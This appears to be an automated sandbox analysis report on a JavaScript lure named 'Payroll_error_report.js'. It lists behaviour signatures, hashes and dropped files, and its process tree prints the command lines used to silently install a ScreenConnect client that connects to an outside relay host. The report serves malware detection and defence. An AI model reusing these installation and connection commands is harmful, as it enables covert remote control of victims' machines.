Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/07/2026, 13:20

General

  • Target
    Payroll_error_report.js
  • Size 66KB
  • Sample260730-qlgrhaswe1
  • SHA256 65f22339ca6da33a0c38475b1aaeb4b59140aebe7e30d84d05fe95ebcfb55cd8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 22 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Payroll_error_report.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Payroll_error_report.js" elevated
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart /l*v "C:\Windows\Temp\LogMeIn_MSI.log"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C2BEC5388146EBE73BC3A22B2F8BA984
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI42C1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240665437 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4412
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding FE1CF5DADCDC7F9F71BE3B9D972ADE57 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3540
  • C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=198.37.105.19&p=8041&s=dc7173c9-4380-4134-b6c7-d159ed2cc63e&k=BgIAAACkAABSU0ExAAgAAAEAAQDVWWzCxtgXyEX1N%2fSCOAXu5lroREtkxZIzXM1kEMZw6%2bBbmPX7YZ%2b%2bgt0HL0kWV88KaASoZ%2fajKPGlmYu9xIJ9ZtsepZCVm11uzb5hoWaJu3qTxNqg8aq56rylQWWEkMDN5DbMQ2rXQ4Ci4KaqhCEVRnTxubzddNLcaAWaxl4GT8irSCAkcmg7Mfc6HP9755LjSYEgxRT1nDJSvp8LGmGBVf%2fb1CUsxd4v373ezSrq%2fBikrmvzOX5e7CxNKt9OkL6IgukJcdNwKQo1LnWYgtckvaCbvD83ggR7pHhBHk5c6MPoB4M%2fbzVgbxhACukCQW%2ffpxyIN%2fhe2l%2bgqfq9HQbi"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1104
    • C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe" "RunRole" "71d17dec-270c-460c-a0a9-c8c0dfd718ca" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3440
    • C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe" "RunRole" "0fa2a4f2-632a-48e4-9ebc-8d687d1e5d6a" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3796

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e584062.rbs

        • Path C:\Config.Msi\e584062.rbs
        • Size 214KB
        • SHA256 c1dbc77ac953a19dcb7d361e34bd3e4c20b339a21ac0353b222a16e185ddb8d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\Client.en-US.resources
        • Size 48KB
        • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe
        • Size 588KB
        • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\app.config
        • Size 508B
        • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (f12378db052e548e)\system.config
        • Size 941B
        • SHA256 5591f9608ee1e6615f60fe88be2d729426929778e5b0a124500db82460a0bf16
        • MD5 SHA1 SHA512 TLSH

        MSI42C1.tmp

        • Path C:\Windows\Installer\MSI42C1.tmp
        • Size 1.0MB
        • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI42C1.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI42C1.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI42C1.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI42C1.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI4A35.tmp

        • Path C:\Windows\Installer\MSI4A35.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        LogMeIn_MSI.log

        • Path C:\Windows\Temp\LogMeIn_MSI.log
        • Size 1KB
        • SHA256 cde28938c4d9ccce9fa05ddb9a9baf23f235c56090d4049960755354be0a2916
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Windows\Temp\ScreenConnect.ClientSetup.msi
        • Size 9.5MB
        • SHA256 eb9ff230f98fe68c0295bc3baf8ba8516412027e2853bbbf7443f39ded3eaf74
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1104-115-0x00000000049F0000-0x0000000004AC2000-memory.dmp

        memory/1104-101-0x0000000004500000-0x0000000004550000-memory.dmp

        memory/1104-106-0x0000000004550000-0x0000000004586000-memory.dmp

        memory/1104-85-0x0000000004170000-0x0000000004188000-memory.dmp

        memory/1104-111-0x0000000004810000-0x00000000048A2000-memory.dmp

        memory/1104-113-0x0000000004770000-0x00000000047B1000-memory.dmp

        memory/3440-133-0x00000000024C0000-0x00000000024F6000-memory.dmp

        memory/3440-132-0x0000000000360000-0x00000000003F6000-memory.dmp

        memory/3440-134-0x000000001B320000-0x000000001B3AC000-memory.dmp

        memory/3440-135-0x000000001B560000-0x000000001B70A000-memory.dmp

        memory/3440-136-0x000000001C950000-0x000000001CAD6000-memory.dmp

        memory/3440-138-0x00000000024A0000-0x00000000024B8000-memory.dmp

        memory/3440-137-0x0000000002450000-0x0000000002468000-memory.dmp

        memory/3796-140-0x000000001C660000-0x000000001C732000-memory.dmp

        memory/4412-47-0x0000000005910000-0x0000000005EB4000-memory.dmp

        memory/4412-38-0x0000000002A00000-0x0000000002A0A000-memory.dmp

        memory/4412-34-0x00000000029D0000-0x00000000029FE000-memory.dmp

        memory/4412-46-0x00000000051B0000-0x000000000535A000-memory.dmp

        memory/4412-42-0x0000000002AD0000-0x0000000002B5C000-memory.dmp